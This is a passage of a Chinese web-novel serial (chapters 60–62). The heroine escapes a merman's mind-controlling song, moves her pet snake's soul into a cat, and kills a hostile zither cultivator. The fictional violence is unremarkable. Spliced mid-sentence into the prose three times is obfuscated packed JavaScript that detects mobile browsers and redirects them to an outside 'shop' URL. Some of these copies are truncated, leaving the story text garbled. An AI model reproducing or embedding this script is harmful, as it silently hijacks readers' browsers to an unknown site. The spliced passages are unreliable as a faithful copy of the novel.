忽然她们的泡泡“啪”地一声,分成两个,一个装着李偲缨的身体,朝西飘去,另一个装着她往更深处坠落。 滕棠焦急,拍动泡泡,发现自己打不破它。她只能看着李偲缨逐渐远去,苍白的身体蜷缩在泡泡中间,还处在熟睡状态。 正当滕棠感到不安时,耳边传来很特别的声音,缥缈空灵,犹如冷冽的风把湖面冰层吹碎,泠泠琤琤,耳为之清宁,心为之欢喜。 她只来得及换上战斗套装,将杀马特那身换掉。困倦像海潮一样袭来,将她的灵台完全淹没。 滕棠连反抗的力量都没有,阖上眼睛,头上青丝障蔽了她整张脸。 她的身体在泡泡中飘浮起来,双手朝上,像在接什么东西。 [网络连接中……请稍后。] [网络连接失败!] [网络连接中……请稍后。] …… 无涯宗的人游进深渊中,在发现不对劲的时候,已经来不及了。每个人耳畔响起不同的轻语,带着蛊惑人心的旋律,让灵台停止旋动。 耳朵里的声音,与其说是歌声,不如称其为吟唱。每个字符都是活的,在上百名修者识海内牢固地扎根,一句话宛如一道命令。 龙傲天五官紧锁,在场唯他一人能反抗人鱼的吟唱。他识海内有一条火龙,当字符一个接一个钻进来时,火龙会张口喷焰,将这些试图控制他的字烧掉。 但他实力不够强,只能勉强和人鱼的声音抗衡,无法再分出心神做其他事。 白色的深渊底部是青灰的,这里躺着数不清的尸体,被长着尖齿的食人鱼啃得只剩骨头,碎骨垒高好几百米。 狂海的船客很少误入珊瑚秘境,青色的食人鱼已经好久没吃过人了。它们静静蛰伏在骨头堆中,渴望天上的新鲜美味。 “啊!”深渊半空,响起一声惨叫。 一名金丹期的弟子,右手聚积了丹田所有灵力,断然向自己的心脏掏去,然后把咚咚跳动的心脏抛到深渊下。 他感受到疼痛,奈何身体不受控制,识海与灵台已被蓝色海水淹没,耳边所言的每一句,都是一道不可抗拒的命令,让他自己杀死自己。 很快,惨叫声接连响起,深渊之水被鲜血涴红,血腥的味道使底部的食人鱼躁动,不断撞向头顶的屏障,妄想咬一口人类的肉。 飘浮在半中央的修者,坚持到现在还没有负伤的,只剩出窍期、分神期、合体期、洞虚期的几个强者,以及全身雷电炸响的龙傲天。 这边的深渊鲜红一片,惨叫声不断,另一边的深渊鸦雀无声,寂若无人。 滕棠徜徉在一片蓝色之中,渐渐忘却自我。 她在柔软漂亮的珊瑚床上苏醒,脑子里有奇怪的声音在响。声音很微弱,语句是重复的,似乎离她很遥远。 当她扶着额头,想仔细听时,手忽然被抓住。 一张俊丽的面庞映入眼帘,对方的手凉凉的,摸起来像玉石一样润。 “你知道我是谁么?”人鱼的尾巴长长的,如锦缎逶迤在身后。 滕棠的注意力先是在他脸上,觉得陌生而熟悉,比印象里的更具轮廓,失去了某种阴柔感,脖子上还有喉结。蓝色的长发是顺直的,不是她认为的弯曲。 他的耳朵也很奇怪,一半是人耳,一半长有蓝色的鱼鳍。 “你是……?”滕棠脑子一团浆糊,被海水淹没后,灵台转动的速度极其慢。 她什么都想不起来,眼前的人是谁?她认识吗? “我叫鱼琴。” 人鱼眼里充满包容一切的温柔,他拉着滕棠的手,游到一个蚌壳中坐下,蓝眼睛很澄澈,盯着她问:“你喜欢我的声音吗?” 他每说一句话,滕棠的识海便像傍晚的沙滩,被潮汐冲刷,什么痕迹都无法留下。 “很好听。”滕棠木讷地点头,视线停在他头上的[86级]标识上。 怪异的数字旁边,还有一个三角,当她注意力在三角形上时,跳出来这么一行字:[鱼琴(醉星子沉睡状态),男,86级,单水灵根,一半人鱼之音,一半人鱼之身。天赋技能:人鱼之声,海水的吟唱,……] 她刚读了个开头,便被“醉星子”三字胀得头疼,总觉得这三个字很熟悉。她在哪里见过这三个字?这是人的名字还是地方名称? 困闷的感觉,很快被人鱼的声音洗涤干净。 被夸赞了声音的人鱼低低轻笑,眼睛弯起一湖碧蓝,他顺着滕棠的目光,把纤长的手指放在鹿角似的珊瑚冠上:“你在看我的王冠?” 他把形状简单的圆冠取下,递到她手心:“这不是真的珊瑚王冠,真的被我珍藏着,从来没戴过。” 人鱼一开口,滕棠就特别想听他说话,恨不得他一直说一直说,不要停下来。 “我以前立下誓言,当我遇到我喜欢的人,选择好性别,我才可以戴上珊瑚王冠,在此之前都不能戴它……” 鱼琴好像陷入了深深的回忆,眼里充斥着不甘、遗憾和愤怒,几种情绪胶着,瞳色略微发黑:“因为他,我再也戴不上了!” 滕棠的心脏为之一揪,恨不得把所有东西都给他,以讨他欢心。她举起鱼琴给她的简陋王冠,放在鱼琴的头顶。 无意之间,她看到鱼琴肩膀后方露骨的伤痕,吃惊地手一斜,王冠歪挂到有鳍的右耳朵上。 鱼琴把头上的王冠扶好,挺直背,不让她看到丑陋的伤口。 “你喜欢花吗?”他拉着滕棠的手,转眼出现在一片花海上。 “鲜花很好吃,但海里没有,这些不是真的。真的花朵在我建的岛上,你出去后一定要去看看。” 脚下的珊瑚变成了花,五颜六色,各式各样,开得满满的,令人眼花缭乱。 [ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032719|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 网络连接中……请稍后。] [网络连接失败!] [网络连接中……请稍后。] …… 滕棠的脑子里有个声音在不断重复,一字一顿,语气很僵硬,没有感情波澜。 “你是不是讨厌我?”鱼琴神情哀伤,一尾的鳞片光泽黯淡。 他只要一开口,滕棠就会把所有注意力放在他身上,“啊”了一声,摇摇头:“我都不认识你,怎么会讨厌你。” 鱼琴的笑容缓缓消失,神情忽然寂寥起来:“我一直能透过他的眼睛看到你。自从你站在那个寒潭,叫我好兄弟,要我砍你的时候,我就认识你了。” “是吗……”滕棠什么都想不起来。 鱼琴轻柔地把手搭在她肩上,带她来到花海中央:“我好久没和人说话,你多和我聊聊。” “聊什么?”滕棠希望他多说话,因为在鱼琴没张嘴的时候,她脑子里一直出现古怪的声音,让她觉得不安。 “什么都可以。”鱼琴采了一朵紫色的小花放进嘴里,嚼了嚼,假的,不是紫罗兰的味道。 “你喜欢吃花?”滕棠好奇地问。 “嗯。”鱼琴的手在下面一拂,花海转瞬变成海滩,处处都是蚂蚁堆:“我还喜欢看蚂蚁搬家,可惜海里没有蚂蚁,所以我那座岛很大,花园下面就是蚁妖的家。” 滕棠的密恐症犯了,在鱼琴想拉她去看蚂蚁洞时,她一直抽手:“蚂蚁有什么好看的。” 鱼琴见她不喜欢蚂蚁,又带她看了各种事物。 日子一天一天在这里流逝,滕棠从一开始的敷衍,到后面真的被他蛊惑了,渐渐生出好感。他让她陪他数蚂蚁,她都没拒绝,站得远远地,一个一个地数。 这天,狂海的中央再次升起参天巨浪,巨大的漩涡推开海水,使秘境入口显露出来。无数天央大陆的修者,激动地御行在天空上,像蚂蚁一样纵列排队,进入下方的漩涡。 危险的地方总是伴随着机遇,涌入珊瑚秘境的修者,心中都有一个渴望:得到珊瑚王冠!抢夺秘境里的宝贝! 他们在入口处大肆搜寻,将水底的珊瑚毁得千疮百孔,直至那些白色深渊冒出来。 滕棠和鱼琴数蚂蚁的时候,越来越走神。她脑中的声音,在她注意力集中的时候,变得清晰起来。 系统?她隐约抓到一根弦。 鱼琴默数到一万多只蚂蚁,抬眸发现她在发呆,问她:“你可以一直在这里陪我吗?” 滕棠脑海中闪过许多画面,她猛地推倒蚂蚁堆,摇头道:“不、不可以!” 鱼琴怔愣,垂头无言地将沙堆扶起来。滕棠看不见他的表情,却感受得到,他此时很难过。 “你更喜欢他对吧?”鱼琴垒着沙子,没有抬头。 因为一直低着脑袋,他头上的假王冠此时有点歪,压在耳鳍上,要掉不掉的。 他前言不搭后语的话,让滕棠很迷茫。 脑子里在快速闪现画面,全部都是她曾经的过往。这时,一声“叮”响,让她逐渐回过神。 [网络已连接] [当前网络不稳定,请检查你的网络设置。] [(叮)暖冬结缘活动已开启!] …… 滕棠的灵台慢慢旋转,而后越来越快。她想起了很多事,恍然大悟,她正在被面前这条人鱼蛊惑! 鱼琴发现她恢复了记忆,眼神彻底寂寥下来,怅然道:“如果当初我信他,不信浮光的话,该多好……” 他现在一说话,滕棠就耳鸣,脑袋嗡嗡直响,什么都听不清。 识海里还有大半水没倒出去,系统一会儿提示网络不稳定,一会儿跳出活动广告,滕棠感觉头都要裂了。 鱼琴叹息着说完最后一句,眼神倏地一变,阴寒如冰,气势强得令人胆颤。他的鱼尾消失了,化作一双长腿,掩藏在暗蓝色的衣纱里。 “醒来。” 岑云岭脸色铁青地抬起手,在滕棠眉心一点:“这是我最不受控制的分-身,他对你的神魂做了什么?” 嗡嗡——,滕棠的耳鸣很严重:“什么?你说什么?” 岑云岭并没有出现多久,须臾被一股力量席卷走。 他这具分-身的佯魂被珊瑚王冠所镇压,只要离开镇压范围,便会被拉回海底,日夜背负千钧重的水。 61. 第 61 章 滕棠的视线愈发模糊,眼前的人不仅出现重影,还和沙滩扭曲在一起。那些蚂蚁爬在鱼琴的蓝头发上,变成密密麻麻的斑点。 泡泡中,她的手指动了一下,耳朵里的嗡鸣声渐小。 须臾之后,细密的睫羽张开。滕棠愣神了会儿,大脑被系统的活动页面占满。有一条提示问她是否绑定李偲缨,她下意识地点了否,并习惯性地叉掉系统窗口。 视野回到泡泡中,滕棠脸上全是黑乎乎的头发,她伸手整理一番,发现自己虽然不在水中,但是身上的浮力却跟在水里没有区别。 她推着泡泡游动,在看到李偲缨时,思维与意识渐渐清明。 李偲缨飘在白色深渊下方,身下有数百条食人鱼。那些食人鱼雀跃地游动着,时不时隔着屏障,朝李偲缨空咬一口。 从人鱼幻境中脱离出来后,滕棠心有余悸,连忙花钱买了一堆解控丹,自己吃了一瓶,跑过去给李偲缨喂了几颗。 她们的泡泡合二为一,飘荡在食人鱼上方,漫无目的。 滕棠的心脏还在狂跳,对这几天发生的事惊魂未定。人鱼族太可怕了,他们的精神力像海洋一样莽莽无边,竟然能转化为声音,刹那间淹没人族的识海,直接控制人的心神,让人变成一具听话的傀儡。 她感到庆幸,不知出于什么原因,鱼琴没有杀她,反而最后放了她。 越想越后怕,滕棠不断用右手安抚心脏,努力让自己平静下来。 冷静下来后,她开始思考,鱼琴为何不杀她?为何非常孩子气地拉着自己数蚂蚁? 她总觉得自己遗漏了什么,直到脑子里陡然浮现三个字——醉星子!她在鱼琴信息里,恍惚看到“醉星子”三个字。 滕棠扁圆的眼睛一睁,立刻打开系统,拉到历史消息栏。 然而消息栏打开,里面只有两条,一条是游戏更新后,系统重启成功的提示,另一条是新活动[暖冬结缘]的情报。 滕棠试图回忆幻境中的经历,脑袋一阵胀痛。每次要想起来什么,记忆就会快速遁走,完全抓不住。 她捂着头,发现自己实在想不起来,果断放弃。 李偲缨在旁边睡得很熟,滕棠摇了摇她,没把她摇醒。 无奈之下,她只好花钱,在游戏商城购买潜水套装,给李偲缨一键换上。而后,她取出一根灵绳,把自己和李偲缨绑在一起。 做完这些,她将主武器掏出来,用一米长的火焰刀砍向厚实的泡泡,不想继续困在这儿。 万一鱼琴反悔,再次控制她,要来杀她怎么办?这泡泡铁定是对方弄出来的,最好赶紧弄破,带李偲缨离开白色深渊。 她一边费力地劈砍,一边拍动丹田问:“你的灵魂既然蕴养好,应该一直清醒着吧?我昏睡时,你有没有什么发现?” 付岚山迷迷糊糊地探出头,睡眼惺忪地道:“不知道。我跟你吵架后,一直在生你的气,不想跟你说话。刚才在做梦,你有发生什么事么?” 滕棠无语凝噎,一掌把蛇头拍回去:“别人的灵宠要么厉害,要么可爱,你有个屁用。” 付岚山哼了一声,骂她有眼不识泰山:“我是地蛟蛇,以后进阶为地蛟龙,你就知道我的厉害了。” “龙?”滕棠上下扫视他:“肥滚滚的,跟米虫似的,哪里有半分龙的影子?” “嘶嘶嘶!”付岚山很生气,张口咬向滕棠的手,但有主兽符契在,他根本伤不了主人。 滕棠被他逗笑,点了点它圆不溜秋的头,调侃他:“来咬我啊,咬我啊。” 付岚山龇牙咧嘴,见伤不了她,快气晕过去,扭过棕黑色的头:“我再也不跟你说话了!” 他缩回去,随即滕棠感觉丹田一空,全部灵力都被付岚山吃掉。 “你。”她怒气值瞬间提升,随后快速冷静,心想,我跟一条米虫计较什么,莫生气,生气气的是自己。 从系统取出三格灵力,丹田瞬间充盈五色灵光,她提刀,继续劈砍泡泡。 呲呲——,冒着白焰的长刀穿破了泡泡,往下划开了个口。 滕棠憋气,背着李偲缨从泡泡里游出去。 往上游?她望向下方,有点想更改计划。 下方那些食人鱼等级不高,以她的实力,完全可以下去刷一波经验。 她现在在[29]级开头,如果升到30级,系统说不定会开放更加厉害的功能。 脚下这层屏障可以劈开么? 珊瑚秘境的入口。 天央大陆的修者来了一批又一批,全部都进入了深渊。 而后惨叫声不断,珊瑚海底一片腥红。血弥漫数条深渊,红色的海水上涌,使得上方的珊瑚海浑浊了四分,不再清澈。 最开始进来的上百人,此刻只剩龙傲天和两个洞虚期强者。 身为男主的龙傲天,仿佛开了挂,识海内的火龙愈发强壮,吃掉音符后,不弱反增,随着时间的流逝,火龙逐渐占上风,最终不再畏惧音符的侵入。 龙傲天全身的雷电,对诡秘的海水亦有克制,噼里啪啦响声中,深渊里的水偶尔会凝固,遂像摔碎的玻璃,爬满裂痕。 深渊之水对无肉身的灵魂似乎没有影响,李谡一直在戒指中观察徒弟的情况,时不时捋动胡须,满意地点头。 徒儿天赋气运极佳,敢称世上第二,无人敢称第一。以徒儿的精神力强度,出窍期的修者看了都自愧不如。 在滕棠苏醒的这一日,龙傲天也醒了。他全身晶红,两眼黄光大放,威喝一声,头上的两个犄角已经冒出了头。 “你醒了。”李谡非常欣慰,让他去把另外两个老头救下,得两个人情。 在龙傲天救人前,他提醒道:“这些日子,我观察附近,下方食人鱼处有阵法气息,底下的灵力波动不寻常。” 龙傲天恭敬应了一声,去帮那两个老头抵御识海音符,而后趁两个老头没缓过神,和李谡联手,把一个墨色宝盘放置在下方屏障上。 两股灵力注入进宝盘,不多时,下方的光幕忽然哗啦一声,化成了水。 轰隆——,白色深渊塌了,变得更深,深不见底。 屏障碎裂后,沉降在底下的白骨一点一点消失,而后深渊底部露出一条明亮的敞口。 食人鱼快速游动,逆着水流,一窝蜂咬向龙傲天和那两个洞虚强者。奈何它们妖力与智力都不高,很快被龙傲天电成一批死鱼。 所有深渊都是相连的,只是连接处较窄,当龙傲天把身下的屏障破开之后,方圆几里的屏障逐一豁开。 充满吟唱声的海水,转瞬流入另一处空间,不再攻击人的识海。 那些新入秘境的修者,大都实力不强,一入白色深渊,便被人鱼之声控制神魂。 此时,众人幡然苏醒,皆后怕不已,而后好了伤疤忘了疼,发现底下的豁口,立马下饺子似的,跟随强者游入底部的空间。 滕棠正在砍屏障,砍着砍着,屏障上方的磨损度直线下降,一下子归零,让她很是懵逼。 她的刀没那么厉害吧? 来不及思考这件事,滕棠望向下方,提刀戒备。食人鱼数目不少,没有屏障后,开始朝她疯狂游来,个个张着獠牙大口。 它们的等级在[30级]左右,对滕棠来说难度不大。 呲呲——,温度很高的长刀横扫鱼群,直接击杀四五条。 [绯烈焰]套装在海水中不算太吃亏,虽然身上的火焰明明灭灭,但附加伤害还在,使身边的海水沸腾,变得滚烫无比。 大刀加弯刀,滕棠刚屠宰完几条食人鱼,忽然看到下方白骨沉降。 那些食人鱼不喜高温,立刻远离滕棠,顺应水流,同白骨一起落向另外一片空间。 不一会儿,深渊底下出现狭长的口,海水灌下去,造成很强的吸力。 滕棠收好武器,拉着李偲缨往下,眨眼现身在另外一片空间的上空。 深渊之水轰隆隆流下,从天上的缺口处流到下方的海里,在空中形成九尺垂流。 滕棠在声势巨大的瀑布里拽紧绳子,生怕弄丢李偲缨。 “呕……呸呸……”她落入一片新的海洋里,浮起来后,感觉浑身青疼。 周围的水声声势过大,她仿佛耳鸣般,满脑子都是轰轰水声。 大口呼吸几下,滕棠仰头,看向千疮百孔的天空。西边的天空,开了无数条口子,宛如一把漏勺,深渊之水不断流泻下来。 修者在巨大的瀑布里,渺小得像鱼,一条条落下来,噗通沉入水中。 滕棠抹掉脸上的水,想离开这里,再待下去,脑袋都得震懵。 她拖着李偲缨往东游,发现前边有一道与天齐高的光幕。 光幕这头,水声浩大,海面很不平静,光幕那边,竟和珊瑚海一模一样,色彩缤纷,平静安宁。 滕棠观察了会儿,发现那边的水位在不断下降,仿佛海水都流到了她这边。 她想了想,往反方向游去,绕过几个可怕的瀑布,看到了一座巨大的岛屿。 那座岛离自己有一段距离,并非遥不可及,她能清晰看到,岛上面没有草没有土,全是乳白的鹿角珊瑚,珊瑚长得密密麻麻,竟组成一个崎岖的金字塔。 这座白色岛屿后面,还有四座珊瑚岛,因相隔太远,滕棠看不太清。 她附近有很多修者,众人看到珊瑚岛时,都兴奋得说不出话。 大部分人选择游向最近的白色珊瑚岛,另一部分人则奋力游向远方。 “滕棠,我看到了地蛟蛇的骨头。” 付岚山叫住了滕棠,第一次主动离开她的丹田,钻向海底。 “你去哪儿?骨头拿来做什么?”滕棠一眨眼,就找不到付岚山了。 海水晃得太厉害,附近轰隆隆的响,她怕付岚山找不到自己,在原地等了约一炷香的时间。 “哗啦——”,付岚山穿着一身残破的蛇骨,从海底游出来,激动对她道:“我…有…壳子…了!” 滕棠像看傻子一样看他:“你要当骷髅怪?” 付岚山高兴坏了,在水里游来游去,下颌骨和尖牙咔咔撞在一起,发出只有滕棠听得懂的声音:“我…不用…住…在你…的丹…田了,不用…受你…的气…了。” 滕棠气到想笑,懒得理他,转身朝白色的岛屿游去。 游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032720|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了约莫一个时辰,滕棠终于带着李偲缨登上白色珊瑚岛。 眼前珊瑚树之高大,比千年青松还要壮观。螺旋的芽柱,错落有致地生长在几条主枝上,洁白无暇。 附近的珊瑚树总体呈辐射状生长,像扇子一样打开,紧密挨着,或互相纠缠,拱出山门的形状,留出一条条中空的道路。 “滕棠,你怎么…游得…那么快!” 付岚山嘎吱嘎吱上了岛,骨架几乎和雪白珊瑚融为一体,让滕棠很难分辨。 见滕棠一直盯着他瞧,付岚山炫耀地扭了扭:“我这…副壳…子不…错…吧?” 喀嚓两声,脊椎骨断了,下颌骨也因说话太用力,导致脱臼。付岚山掰动骨头,复原位置,光秃秃地游到滕棠身边,摆出各种臭美的姿势。 哎,好想解开主兽符契,滕棠感叹完,给李偲缨又换了一身衣服,把怪异的潜水套装卸下。 她背着人,往山上走,并不理睬身后不断掉骨头的付岚山。 白色珊瑚岛非常大,几乎媲美小型陆地。进入岛后,滕棠很少看见人,只听见海浪拍打岸边的声音,以及身后……嘎吱嘎吱的骨头响。 行了不到千米,滕棠被付岚山叫停五六次。 “滕棠等等,我的骨头又挂到小珊瑚了。” “等一下,我不小心摔断了肋骨!” “诶,这珊瑚怎么跟我骨头一个颜色,掉了都不好找。” 滕棠等得不耐烦,直接拍碎他这堆烂骨头,对他道:“你这样,我们不知道要走几天几夜才能走到上面。你这骨头一看就是哪只灵宠死后留下的,死骨无法吸纳吞吐灵力、长出血肉,你要来做什么?” “嘶嘶嘶……”蛇骨一张一合,给她解释,还不是因为她太小气,住在她丹田里老受气。 到底是谁小气?滕棠的太阳穴突突直跳,独自做着深呼吸。 “唔……”背上的李偲缨醒了,见自己被滕棠捆在背上,一直没被抛弃,内心十分感动。 滕棠听见声音,转过头,见她肤色不再发青,虽还是煞白如雪,但比之前的僵尸状好了许多。 “你怎么样了?”滕棠问。 李偲缨半阖双目,虚弱地朝她一笑:“多谢。” 滕棠还想跟她聊点什么,比如她们现在在哪儿,之前发生了什么事,谁想李偲缨说完“多谢”说完,又睡了过去…… 常人说,救人一命胜造七级浮屠。滕棠看看付岚山,又看看李偲缨,只觉得心累。 “我没见过你这么差劲的主人!抠抠搜搜的,不给灵力就算了,还拍坏我新壳子!” 付岚山生气地爬在地上,努力拼接组装那堆烂骨头。骨头有几块不对,支出在脊椎骨外,在他扭动时总掉地上。 滕棠站在他对面思考,右脚一直嗒嗒踩白色珊瑚。 她在想办法,怎么改变付岚山的犟脾气,让灵宠乖乖听话,不要耽搁她的行程和时间。 突然,她灵光一现,想起自己一直没复活的九色猫。 万一呢? 滕棠用最后的那点钱,买了颗灵宠复活丹,把九色猫召唤出来。 “喵~”九色猫blingbling的,走到她脚边蹭脑袋。 付岚山组装得差不多了,围着九色猫打转:“咦,你这只丑猫还在?我之前睡觉时,看见过它,它怎么没灵智?” 滕棠拍拍猫头,对他道:“你试试能不能用这个壳子。” “你傻了吗?还是眼睛瞎了。我是蛇,它是猫。”付岚山嘲笑她。 滕棠见他不配合,便一把抓住蛇骨,用精神力将付岚山的灵魂抽取出来。 “你干什么!”付岚山觉得她疯了。 滕棠的精神力化为网,拦住想逃跑的他,而后变成无形的手,把付岚山的灵魂按进九色猫的身体。 收回精神力,滕棠埋头关注他的灵魂状态,发现没有任何暌离,顿时有些意外。她只是一个设想,没想到真的能成。 “喵?喵喵?!”九色猫本就拳头大的眼睛,瞪得更大,它呆在原地,好似石化般。 滕棠满意地摸摸猫头:“你现在可爱多了。” “喵喵!”滕棠我跟你没完! “喵喵喵!”我是蛇,我不当猫! “喵!”我最讨厌猫! 付岚山跳了下,发现天敌的身体很轻盈,爪子也锋利,身上暖烘烘的,还有一口好牙。他猫脸显得矛盾极了,既觉得壳子好,又嫌弃壳子是他的敌对种族。 “喵?”我为什么能用猫壳子? 滕棠挠了挠他下巴,舒服得付岚山忍不住打滚,敞开肚皮给她摸。 滕棠被萌翻,就问:“你是愿意被我锁在丹田里什么都干不了,还是当一只闪亮的九色猫,可以吃、可以跑。” 付岚山比较了下,虽不喜欢这花里胡哨的猫壳子,但眼下没有更好的壳子。 他不得不妥协:“先……先这样吧,你像刚才那样,挠挠我的脖子!” 滕棠一边挠着他,一边在脑中点开系统。[50级]开放灵宠功能,到时候她可以买商城的各种灵宠,鸡鸭鹿蛇龙蛙牛……应有尽有,不得把付岚山高兴死? 62. 第 62 章 深入白珊瑚岛西部,地面上的脚印逐渐增多,还有打斗后留下的血迹。 这一片地区的珊瑚非常柔软,皆为白色,种类甚是丰富。有杨柳形态的,有叶脉状的,错落分布在岛屿的西山,虫腔随风而摇动,鸾回凤翥,比寒冬的雪床多几分灵性与婉曼。 初进珊瑚岛,十分容易被活着的珊瑚虫欺骗。它们看似纯净无害,实则对鲜血的渴望,并不低于妖兽。 珊瑚虫怪灵智初开之后,会与其他腔体共享,接合在一起,一虫吃饱全家不愁。 获得鲜血的办法也很特殊,它们灵智虽低,但很聪明,喜欢制造假的宝贝,藏在枝丫里,让修者们互相争斗,自身则安静地等待被鲜血浇灌,再一点一点啃噬死者灵肉。 还有小部分珊瑚虫怪嗜杀,具有强大的攻击力,不过比较罕见,很难遇见一丛。 滕棠和付岚山走在珊瑚林中,一直没找到好东西。他们来得太迟,边缘地带的宝贝都被一扫而尽。 走着走着,他们忽闻一阵琴声,于是驻足,拨开珊瑚软体,朝那边看去。 琤琤——,琴弦的声音像刀片一样,收割掉两个修者的脑袋。 抚琴的女子[32级],容貌清隽,穿的是无涯宗的服饰,衣襟绣有七根琴弦,是绝音谷的人。 在女子对面,两个筑基一层的修者已经死了,还剩一男一女勉强支撑。 “薛五羽,这猫眼珊瑚玉是我们先找到的!” 抚琴女子听了对面的话,大笑不止。她出手狠辣,招招不留余地:“夺宝不分先后,只分强弱。” 躲避薛五羽琴音的一男一女长得很像,都在筑基二层。两人自知绝音谷的修者不能惹,薛五羽实力又强,他们无奈把到手的宝贝,扔了过去。 薛五羽接下东西后,身上杀气未减半分,冷笑道:“两个废物,不待在你们那破门派,跑出来丢人现眼!” 受到侮辱,兄妹二人眼睛红红的,妹妹求情道:“东西都给你了,我们未挡你的琴道,放过我们吧。” 绝音谷的修者不多,但实力都很强,且个个无情,比魔修还可怕。每阶段需杀满七十七个挡琴道之人,才能突破境界。天央大陆这么多年,所有人见到绝音谷的修者,都是绕道走的,这些琴修杀起人来,不是你死便是我活。 薛五羽不为琴道,也没想放他们走。她刚才杀了两个御兽门弟子,如果这对狂刀门的兄妹活着,给御兽门通风报信,御兽门那群人必然会找自己麻烦。 “你不要欺人太甚!” 兄妹察觉到她要杀人灭口,神色惶然,牵手朝滕棠这边逃。 看戏不成,反被拉进争斗之中,滕棠暗悔自己选错了路。这边就靠一株珊瑚树遮挡,那三人过来,不可能忽视她的存在。 秘境有限制,无法御剑和使用飞行灵器。滕棠一时纠结,不管往那边走,都容易被她们发现。 “救命!”兄妹逃来时,不巧看到滕棠奔跑的背影,见她装备豪华,浑身白焰烧得珊瑚虫冒烟,以为是哪个强者,便大声呼救。 滕棠扛着李偲缨狂奔,本欲不管的。 但那叫薛五羽的女子已经注意到她,且来一句:“呵,又添个血祭我七绝琴的垃圾。” 这女的也太猖狂了! 滕棠虽不知绝音谷的琴道,但所谓人不犯我,我不犯人。背后的杀气已经浓得化不开,定然是杀过不少人,才有如此杀意。 她停下脚步,扛着李偲缨跑回去,问那抱琴的面瘫女:“你是孤儿吗?如此没教养。” 薛五羽上下打量滕棠,此女没有门派服,兴许是哪个城的散修。一身不知名白火烧得唬人,身上的灵器倒是不错,都是中等。但区区筑基三层,还带个累赘,也敢跟自己叫嚣? “我这琴最偏爱貌美修者的血。”薛五羽摸着琴头,看这三人的眼神仿佛在看死人。 兄妹二人在发现滕棠只有筑基三层时,已经绝望了,刚才和御兽门的人对打了半天,体内的灵力已经不剩几许。 年纪约莫十六七的男子对滕棠道:“这位道友,抱歉,连累你们了。” 滕棠没有理会,单手一握,冒白火的黑红长刀瞬间出现在掌中,刀尖上滴滴答答落着血,看起来像是把魔器。 琤琤——,薛五羽出手极其果断,根本不给他们闲聊时间,在滕棠取出武器时,便动手抚琴攻来。 琴音既出,数道风在薛五羽指尖旋起,化作音刃,狠毒、利落、凌厉,从五面夹击滕棠。 “去死吧!”薛五羽冷冰冰道。 [叮!你已接受1v1挑战,pk模式开启,3、2……1!] 滕棠肩上负着李偲缨,单手拿刀,只能顾及左侧,她把右侧的音刃交给付岚山,一刀掼向半空的风刃。 “道友,不要和她打,我们分开逃!” 兄妹二人刚跑几步,回头发现滕棠已经出手,他们犹豫了两秒,不知要不要帮忙。三个筑基的人,还有个筑基期的灵宠,强行一战,也不是没有可能。 琴音击中刀面,先是发出几声清亮的“铛”响,而后嗡鸣不止,刺痛耳膜,干扰滕棠听力,使她听不见接下来的音刃方位。 付岚山相当灵敏,它本身境域有分神的实力,只是上次被祥天门伤得太重,现在与九色猫融合后,只有筑基五层。他矫捷地跳上珊瑚枝,躲避琴音的攻击,两只前爪露出锋利的指甲,将正面袭来的利风抓散。 “喵呜~”剩下的两道被他用精神力打消。 薛五羽在见到滕棠五色灵力时,晃了下神,筑基期的五灵根?她眼神倏然狠厉,双手嘭嘭拊琴,像拍鼓一样用劲。 琴风登时逆向而转,音刃拉得弯长,交错在一起,直攻滕棠命门。 滕棠一个近战,打一个远攻的,很不方便。她把李偲缨放下来,正举刀砍过去,只听身后传来一句: “哥哥动手!” 兄妹二人看到滕棠刀上有五种灵力,也愣了下,随后迅速反应过来,提着厚重的刀,朝薛五羽冲。 然而滕棠正在1v1,怎么可能让他们抢人头。她一口气调出系统灵力,附于身体表面,两手左右挥动长刀,化解空中音刃。 在离薛五羽五米之时,识海内嗖地飞出另一把看不见的小刀,瞬息扎入薛五羽的额头。 薛五羽拊琴的手顿住,她瞪大眼,还未张口,没开辟识海的脑子被滕棠杀得片甲不留。下一秒,她的眼睛、鼻孔、嘴巴还有耳朵,都流出鲜红的血液,整个人抱着琴“咚”一声倒地不起。 一切发生得太快,看得兄妹二人目瞪口呆,这、这就死了?他们震惊得说不出话,看滕棠恍如看怪物。 滕棠收回精神力,走到薛五羽身边,冷漠道:“无缘无故杀人者,人必杀之。” 看多了那种坏人没死绝,趁人不备反咬一口的剧情,滕棠准备补刀,回头对两兄妹道:“接下来的画面不适宜十几岁的小孩子,你们闭上眼睛。” 兄妹二人被她的气势震慑住,不由得抬起手挡住眼睛,期间又忍不住张开指缝。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032721|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >只见前面柔弱纤瘦的女子,举起一米长的火刀,咔——,刀落头断,骨碌撞到珊瑚上,染红一大片。两人吓得心脏俱是一颤。好狠!人都死了,还要来一刀。 